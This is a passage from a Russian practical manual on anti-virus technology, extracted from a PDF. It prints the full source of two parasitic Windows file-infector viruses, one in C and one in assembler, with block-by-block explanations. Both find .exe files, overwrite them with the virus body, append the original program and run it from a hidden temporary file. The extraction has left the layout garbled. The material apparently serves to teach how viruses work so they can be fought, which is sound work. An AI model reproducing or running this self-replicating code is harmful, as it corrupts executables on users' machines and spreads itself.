Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfWindows вирусы |
171 |
|
|
ReadFile(fh,mh,size1,&size1,NULL); |
// Читаем ее в память |
CloseHandle(fh); |
// Закрываем файл |
fh=CreateFileA("w32drv.exe",GENERIC_WRITE,FILE_SHARE_WRITE,0,1,32,0); // Создаем |
|
|
// ôàéë |
WriteFile(fh,mh,size1,&size1,NULL); |
// с именем w32drv.exe и пишем туда программу |
VirtualFree(mh,size1,16384); |
// Освобождаем память |
CloseHandle(fh); |
// Закрываем файл |
WinExec("w32drv.exe",1); |
// Запускаем программу |
SetFileAttributes("w32drv.exe",2); |
// Ставим атрибут "скрытый" |
DeleteFileA("w32drv.exe"); |
// Пытаемся удалить w32drv.exe |
} |
|
|
|
//--------------------------------------------- |
|
|
|
int main(int argc, char *argv[]) |
// Основная программа |
||
{ |
|
|
|
HANDLE find_handle; |
// |
|
|
WIN32_FIND_DATA ff; |
// Переменные |
||
double size=53248; |
// |
|
|
HANDLE mh; |
|
// |
|
HANDLE fh; |
|
|
|
char msg1[50]="[ VIRUS WIN32 PARASITIC -=w32.core=- ]"; // Имя вируса |
|||
DeleteFileA("w32drv.exe"); |
// Пытаемся удалить w32drv.exe |
||
find_handle=FindFirstFileA("*.exe",&ff); // Поиск первого файла |
|||
while (1) |
// Бесконечный цикл инфицирования |
||
{ |
|
|
|
if (!test(ff)) // Если файл не заражен, будем заражать |
|||
{ |
|
|
|
mh=VirtualAlloc(NULL,ff.nFileSizeLow,MEM_COMMIT,PAGE_READWRITE); // Выделяем память |
|||
fh=CreateFileA(ff.cFileName,GENERIC_READ,FILE_SHARE_READ,0,3,128,0); // Открываем |
|||
ReadFile(fh,mh,ff.nFileSizeLow,&ff.nFileSizeLow,NULL); // и читаем найденный файл в |
|||
CloseHandle(fh); |
|
// память, после этого его закрываем |
|
CopyFileA(argv[0],ff.cFileName,0); // Копируем вирус в найденный файл fh=CreateFileA(ff.cFileName,GENERIC_WRITE,FILE_SHARE_WRITE,0,3,128,0); // Открываем _llseek((int)fh,size,FILE_BEGIN); // файл и переходим к концу вирусного тела WriteFile(fh,mh,ff.nFileSizeLow,&ff.nFileSizeLow,NULL); // Дописываем оригинальную VirtualFree(mh,ff.nFileSizeLow,16384); // программу, освобождаем память CloseHandle(fh); // Закрываем файл
}
nexta:
if (!FindNextFileA(find_handle,&ff)) break; // Файлы кончились - выходим из цикла
}
FindClose(find_handle); // Закрываем поиск
restore(argv[0]); // Вызываем функцию запуска оригинальной программы
return(0); // Конец программы
}
//---------------------------------------------
172 Windows вирусы
Подробно проанализируем данный вирус. Начнем с первого блока:
//--------------------------------------------- |
|
|
bool test(WIN32_FIND_DATA ff) |
// Функция проверки на инфицированность |
|
{ |
|
|
HANDLE fh; |
// |
Переменные |
char buff[2000]; |
// |
|
fh=CreateFileA(ff.cFileName,GENERIC_READ,FILE_SHARE_READ,0,3,128,0); // Открытие // файла
ReadFile(fh,buff,2000,&ff.nFileSizeLow,NULL); // Чтение из файла 2000 байт в буфер
CloseHandle(fh); |
|
// Закрытие файла |
if ((buff[1550]=='Q')&&(buff[1551]=='3')) |
{return(TRUE);} // Если файл заражен, |
|
else {return(FALSE);} |
// то возвращаем |
1 иначе 0 |
}
//---------------------------------------------
В данном блоке находится функция проверки найденного файла на инфицированность. В качестве параметра она получает данные результатов поиска. Сначала открывается найденный файл на чтение, после этого из него читается 2000 байт в переменную буфер. После этого файл закрывается. А вывод о том, инфицирован ли файл или нет, делается на основании 1550 и 1551 байта найденной программы.
Перейдем ко второму блоку:
//--------------------------------------------- |
|
void restore(char *fname) |
// Функция запуска оригинального файла |
{ |
|
HANDLE mh; |
// |
HANDLE fh; |
// Переменные |
unsigned long size1; //
fh=CreateFileA(fname,GENERIC_READ,FILE_SHARE_READ,0,3,128,0);// Открываем файл, из
size1=GetFileSize(fh,0); // которого был запущен вирус, и получаем его размер
mh=VirtualAlloc(NULL,size1,MEM_COMMIT,PAGE_READWRITE); //Выделяем память
_llseek((int)fh,53248,FILE_BEGIN); |
// Переходим |
за тело вируса к программе |
ReadFile(fh,mh,size1,&size1,NULL); |
// Читаем ее |
в память |
CloseHandle(fh); |
// Закрываем |
ôàéë |
fh=CreateFileA("w32drv.exe",GENERIC_WRITE,FILE_SHARE_WRITE,0,1,32,0); // Создаем // файл
WriteFile(fh,mh,size1,&size1,NULL); // с именем w32drv.exe и пишем туда программу
VirtualFree(mh,size1,16384); |
// Освобождаем память |
CloseHandle(fh); |
// Закрываем файл |
WinExec("w32drv.exe",1); |
// Запускаем программу |
Windows вирусы |
173 |
|
|
SetFileAttributes("w32drv.exe",2); |
// Ставим атрибут "скрытый" |
DeleteFileA("w32drv.exe"); |
// Пытаемся удалить w32drv.exe |
//--------------------------------------------- |
|
В данном блоке сначала открываем программу, из которой стартовал вирус, затем получаем ее размер. После этого выделяем необходимое количество памяти. Переходим к концу вируса в данном файле. Далее читаем в память все, что идет после тела вируса, а после этого закрываем файл. После этих действий создаем файл с именем w32drv.exe, пишем в него все то, что было прочитано в память. Затем освобождаем память и закрываем файл. В конце концов, мы запускаем оригинальную программу, теперь находящуюся в файле w32drv.exe, затем устанавливаем ей атрибут «скрытый» и удаляем данный файл.
Переходим к третьему блоку:
//---------------------------------------------
DeleteFileA("w32drv.exe"); // Пытаемся удалить w32drv.exe
find_handle=FindFirstFileA("*.exe",&ff); // Поиск первого файла //---------------------------------------------
Это довольно маленький блок, в котором вначале идет попытка удалить файл w32drv.exe, а затем поиск первого файла по маске «*.exe».
Переходим к четвертому блоку:
//---------------------------------------------
while (1) // Бесконечный цикл инфицирования
{
if (!test(ff)) // Если файл не заражен, будем заражать
{
mh=VirtualAlloc(NULL,ff.nFileSizeLow,MEM_COMMIT,PAGE_READWRITE); // Выделяем память fh=CreateFileA(ff.cFileName,GENERIC_READ,FILE_SHARE_READ,0,3,128,0); // Открываем
ReadFile(fh,mh,ff.nFileSizeLow,&ff.nFileSizeLow,NULL); |
// и читаем найденный файл в |
|
CloseHandle(fh); |
// память, после |
этого его закрываем. |
CopyFileA(argv[0],ff.cFileName,0); // Копируем вирус в найденный файл fh=CreateFileA(ff.cFileName,GENERIC_WRITE,FILE_SHARE_WRITE,0,3,128,0); // Открываем _llseek((int)fh,size,FILE_BEGIN); // файл и переходим к концу вирусного тела WriteFile(fh,mh,ff.nFileSizeLow,&ff.nFileSizeLow,NULL); // Дописываем оригинальную VirtualFree(mh,ff.nFileSizeLow,16384); // программу, освобождаем память CloseHandle(fh); // Закрываем файл
}
nexta:
if (!FindNextFileA(find_handle,&ff)) break; // Файлы кончились - выходим из цикла
}
//---------------------------------------------
В данном блоке непосредственно и происходит инфицирование. Сначала вызывается функция, проверяющая, инфицирован ли найденный нами файл. Если нет, то выделяется память для размещения там этого файла. Затем открывается найденный файл на чтение, и весь читается в выделенную память. После этого файл закрывается, затем вирусная программа копируется в найденный файл. Затем тот же файл открывается, но уже на запись, и перед записью происходит перемещение указателя на конец тела вируса, после этого из памяти переписы-
174 Windows вирусы
вается файл. После этой «дозаписи» файл закрывается, и, если файлы закончи- лись, идет выход из бесконечного цикла инфицирования.
Теперь последний, пятый блок:
//---------------------------------------------
FindClose(find_handle); // Закрываем поиск
restore(argv[0]); // Вызываем функцию запуска оригинальной программы
return(0); // Конец программы //---------------------------------------------
В начале данного блока закрывается поиск, затем идет вызов функции запуска оригинального файла, и после всего этого работа основной программы завершается.
Рассмотрим вирус, реализованный на Ассемблере и работающий по тому же принципу. Можно сказать, что это родной брат предыдущего вируса.
Следует рассмотреть, как выглядит файл до инфицирования и после: а) до инфицирования:
б) после инфицирования:
Переходим к листингу:
;----------------------------------------------
.386
.model flat
;Далее идут импортируемые функции
extrn |
ExitProcess:PROC |
extrn |
FindFirstFileA:PROC |
extrn |
CopyFileA:PROC |
extrn |
GetCommandLineA:PROC |
extrn |
FindNextFileA:Proc |
extrn |
lstrcpyA:PROC |
extrn |
FindClose:PROC |
extrn |
VirtualAlloc:PROC |
extrn |
GetFileSize:PROC |
extrn |
CreateFileA:PROC |
extrn |
ReadFile:PROC |
extrn |
WriteFile:PROC |
extrn |
VirtualFree:PROC |
extrn |
CloseHandle:PROC |
extrn |
_llseek:PROC |
extrn |
WinExec:PROC |
extrn |
DeleteFileA:PROC |
Windows вирусы |
|
175 |
|
|
|
|
|
extrn |
SetFileAttributesA:PROC |
|
|
.data |
|
|
; Область данных |
fHnd: |
dd |
? |
; Хэндл файла |
mHnd: |
dd |
? |
; Хэндл памяти |
size2Read |
dd |
0 |
; Переменная для операций |
|
|
|
; чтения/записи |
fsize |
dd |
? |
|
EXE_file DB find_file db WIN32_FIND_DATA host_name db Find_data_name equ
file_size |
equ |
Fhandle |
dd |
tmp1 |
db |
msg |
db |
'*.exe',0 |
; Маска поиска файлов |
|
313 |
dup(?) |
; Переменная типа |
100 |
dup(?) |
; Переменная для имени файла |
2ch |
|
; Смещение на имя файла |
|
|
; â WIN32_FIND_DATA |
20h |
|
; Смещение на размер файла |
|
|
; â WIN32_FIND_DATA |
? |
|
; Хэндл поиска |
'wbase32dll.exe',0 |
; Имя временного файла |
|
0ah,'[ WIN32 PARASITIC VIRUS -=w32.flame=- ]' ; Имя вируса
.code |
; |
;---------------------------------------------- |
|
start: |
; С этого места начинается |
|
; программа |
;Функция GetCommandLineA()
;Возвращает в eax смещение на командную строку
Call |
GetCommandLineA |
; Данной функции параметры |
|
|
; не передаются |
push |
eax |
; Положим в стек смещение |
|
|
; на командную строку |
push |
offset host_name |
; Копируем ее в |
|
|
; переменную host_name |
|
|
; |
call |
lstrcpyA |
; Вызываем функцию |
|
|
; копирования строки |
;---------------------------------------------- |
|
|
push |
offset tmp1 |
; Удаление временного файла |
call |
DeleteFileA |
; |
;---------------------------------------------- |
|
|
;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)
;Возвращает хэндл поиска
push |
OFFSET find_file |
; Положим в стек смещение |
|
|
; íà find_file |
push |
OFFSET EXE_file |
; Положим в стек смещение |
|
|
; на маску поиска |
call |
FindFirstFileA |
; Вызываем функцию |
|
|
; FindFirstFileA |
cmp |
EAX, -1 |
; Если нет ни одного |
|
|
; нужного нам файла, |
176 |
|
Windows вирусы |
|
|
|
je |
End_it |
; то идем на выход |
|
|
; Иначе |
mov |
[Fhandle],eax |
; в переменной Fhandle |
|
|
; сохраняем хэндл поиска |
infect: |
|
|
;---------------------------------------------- |
|
|
push |
00000004h |
; Страница для чтения/записи |
push |
00001000h |
; |
push |
dword ptr[find_file+file_size] |
; Количество резервируемой памяти |
push |
0h |
; Система сама решает, где |
|
|
; брать память |
call |
VirtualAlloc |
|
cmp |
eax,0 |
|
je |
End_it |
; Память закончилась |
mov |
dword ptr [mHnd],eax |
; Сохраняем хэндл на память |
;---------------------------------------------- |
|
|
push |
0 |
|
push |
00000080h |
|
push |
3 |
|
push |
0 |
|
push |
00000001h |
|
push |
80000000h |
|
push |
offset find_file+Find_data_name |
|
call |
CreateFileA |
; Открываем найденный файл |
|
|
; для чтения |
cmp |
eax,-1 |
|
je |
infErrOutC |
; Что-то он не открывается |
mov |
dword ptr [fHnd],eax |
; Сохраняем хэндл |
push |
0 |
|
mov |
dword ptr [size2Read],0 |
|
lea |
eax,size2Read |
|
push |
eax |
|
push |
dword ptr [find_file+file_size] |
|
push |
dword ptr [mHnd] |
|
push |
dword ptr [fHnd] |
|
call |
ReadFile |
; Читаем весь файл в память |
push |
dword ptr [fHnd] |
; Закрываем файл |
call |
CloseHandle |
|
check: |
|
|
mov |
eax,dword ptr [mHnd] |
|
add |
eax,600h |
|
cmp |
dword ptr [eax],0002aee8h |
; Проверка на инфицированность |
je |
f_next |
|
;---------------------------------------------- |
|
|
push |
0 |
; Копируем вирус в найденный файл |
push |
offset find_file + Find_data_name ; |
|
push |
offset host_name |
; |
Windows вирусы |
|
177 |
|
|
|
call |
CopyFileA |
; |
;---------------------------------------------- |
|
|
xor |
eax,eax |
|
push |
eax |
|
push |
00000080h |
|
push |
3 |
|
push |
eax |
|
push |
00000001h OR 00000002h |
|
push |
40000000h OR 80000000h |
|
lea |
eax,find_file+Find_data_name |
|
push |
eax |
|
call |
CreateFileA |
; Открываем файл на чтение/запись |
cmp |
eax,-1 |
|
je |
End_it |
; Что-то не открывается |
mov |
dword ptr [fHnd],eax |
; Сохраняем хэндл |
push |
0 |
|
push |
1000h |
|
push |
dword ptr [fHnd] |
|
call |
_llseek |
; Переходим на конец вируса |
push |
0 |
|
mov |
dword ptr [size2Read],0 |
|
lea |
eax,size2Read |
|
push |
eax |
|
push |
dword ptr[find_file+file_size] |
|
push |
dword ptr [mHnd] |
|
push |
dword ptr [fHnd] |
; Дописываем оригинальный файл |
call |
WriteFile |
; после вируса |
push |
00004000h |
|
push |
dword ptr [find_file+file_size] |
|
push |
dword ptr [mHnd] |
|
call |
VirtualFree |
; Освобождаем память |
infErrOutC: |
|
|
push |
dword ptr [fHnd] |
; Закрываем файл |
call |
CloseHandle |
|
;---------------------------------------------- |
|
|
find_next: |
|
|
Call |
Fnext |
; Вызов процедуры поиска |
|
|
; следующего файла |
cmp |
eax,0 |
; Если файлы кончились, |
jne |
infect |
; значит, двигаемся к выходу |
End_it: |
|
|
push |
offset [Fhandle] |
; Закрываем поиск |
call |
FindClose |
; |
call |
restore |
; Вызываем процедуру запуска |
|
|
; Оригинальной программы |
push |
0 |
; |
call |
ExitProcess |
; Завершение программы |
;----------------------------------------------
178 |
Windows вирусы |
|
|
Fnext: |
; Процедура поиска следующего |
|
; файла |
;bool FindNextFileA( handle, pointer find_file)
;Возвращает 0, если файлов больше нет, и 1 в обратном случае
push |
offset find_file |
; Положим в стек смещение |
|
|
; íà find_file |
push |
[Fhandle] |
; Положим в стек хэндл |
call |
FindNextFileA |
; Вызываем функцию поиска |
|
|
; следующего файла |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
restore: |
|
|
xor |
eax,eax |
|
push |
eax |
|
push |
00000080h |
|
push |
3 |
|
push |
eax |
|
push |
00000001h |
|
push |
80000000h |
|
mov |
eax,offset host_name |
|
push |
eax |
|
call |
CreateFileA |
; Откроем сами себя для чтения |
cmp |
eax,-1 |
|
je |
konec |
; Не открывается |
mov |
dword ptr [fHnd2],eax |
; Сохраняем хэндл |
push |
0 |
; |
push |
1000h |
; |
push |
eax |
; Переходим к концу вируса |
call |
_llseek |
; |
push |
0 |
; |
push |
dword ptr[fHnd2] |
; Узнаем размер файла, из которого |
call |
GetFileSize |
; мы стартовали |
cmp |
eax,-1 |
; Если ошибки, то на выход |
je |
konec |
; |
sub |
eax,1000h |
; Отнимем от полученного размера |
mov |
dword ptr[fsize],eax |
; длину вируса |
cmp |
eax,0h |
; Если после вируса нет |
je |
konec |
; программы, то двигаемся на выход |
push |
00000004h |
; |
push |
00001000h |
; Выделяем память для |
push |
dword ptr[fsize] |
; оригинальной программы |
push |
0h |
; |
call |
VirtualAlloc |
|
cmp |
eax,0 |
|
je |
konec |
; Памяти нет, плохо... |
mov |
dword ptr [mHnd2],eax |
; Сохраняем хэндл памяти |
Windows вирусы |
|
179 |
|
|
|
push |
0 |
|
mov |
dword ptr [size2Read],0 |
|
lea |
eax,size2Read |
|
push |
eax |
|
push |
dword ptr [fsize] |
|
push |
dword ptr [mHnd2] |
|
push |
dword ptr [fHnd2] |
|
call |
ReadFile |
; Читаем оригинальную |
|
|
; программу в память |
push |
dword ptr [fHnd2] |
; Закрываем файл |
call |
CloseHandle |
|
xor |
eax,eax |
|
push |
eax |
|
push |
00000020h |
|
push |
1 |
|
push |
eax |
|
push |
00000001h OR 00000002h |
|
push |
40000000h |
|
lea |
eax,tmp1 |
|
push |
eax |
|
call |
CreateFileA |
; Создаем новый файл с |
|
|
; именем w32drv.exe |
cmp |
eax,-1 |
; |
je |
konec |
; Не вышло - на выход |
mov |
dword ptr [fHnd2],eax |
; Сохраняем хэндл |
push |
0 |
|
mov |
dword ptr [size2Read],0 |
|
lea |
eax,size2Read |
|
push |
eax |
|
push |
dword ptr[fsize] |
|
push |
dword ptr [mHnd2] |
|
push |
dword ptr [fHnd2] |
; Записываем оригинальную |
call |
WriteFile |
; программу в файл w32drv.exe |
cmp |
eax,-1 |
; |
je |
konec |
; Что-то не пишется, |
|
|
; движемся к выходу |
push |
dword ptr [fHnd2] |
; Закрываем файл |
call |
CloseHandle |
; |
push |
00004000h |
|
push |
dword ptr [fsize] |
|
push |
dword ptr [mHnd2] |
|
call |
VirtualFree |
; Освобождаем память |
push |
1 |
; |
push |
offset tmp1 |
; |
Call |
WinExec |
; Запускаем файл w32drv.exe |
push |
2 |
; |
push |
offset tmp1 |
; Устанавливаем атрибут у |
|
|
; файла "скрытый" |
call |
SetFileAttributesA |
; |
180 |
|
Windows вирусы |
|
|
|
push |
offset tmp1 |
; Пытаемся удалить файл w32drv.exe |
call |
DeleteFileA |
; |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
end |
start |
|
;---------------------------------------------- |
|
|
Разберем данный вирус по блокам, но в данном случае блоки будут довольно больших размеров, так как главными частями данного вируса являются вызовы процедур WIN API.
Начинаем с первого блока:
;---------------------------------------------- |
|
start: |
; С этого места начинается |
|
; программа |
;Функция GetCommandLineA()
;Возвращает в eax смещение на командную строку
Call |
GetCommandLineA |
; Данной функции параметры |
|
|
; не передаются |
push |
eax |
; Положим в стек смещение |
|
|
; на командную строку |
push |
offset host_name |
; Копируем ее в |
|
|
; переменную host_name |
|
|
; |
call |
lstrcpyA |
; Вызываем функцию |
|
|
; копирования строки |
;---------------------------------------------- |
|
|
push |
offset tmp1 |
; Удаление временного файла |
call |
DeleteFileA |
; |
;---------------------------------------------- |
|
|
;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)
;Возвращает хэндл поиска
push |
OFFSET find_file |
; Положим в стек смещение |
|
|
; íà find_file |
push |
OFFSET EXE_file |
; Положим в стек смещение |
|
|
; на маску поиска |
call |
FindFirstFileA |
; Вызываем функцию |
|
|
; FindFirstFileA |
cmp |
EAX, -1 |
; Если нет ни одного |
|
|
; нужного нам файла, |
je |
End_it |
; то идем на выход |
|
|
; Иначе |
mov |
[Fhandle],eax |
; в переменной Fhandle |
;---------------------------------------------- |
|
|
В данном блоке выполняется 3 основных действия:
1)имя программы, из которой мы запущены, сохраняется в переменную host_name;
2)удаляется файл w32drv.exe;
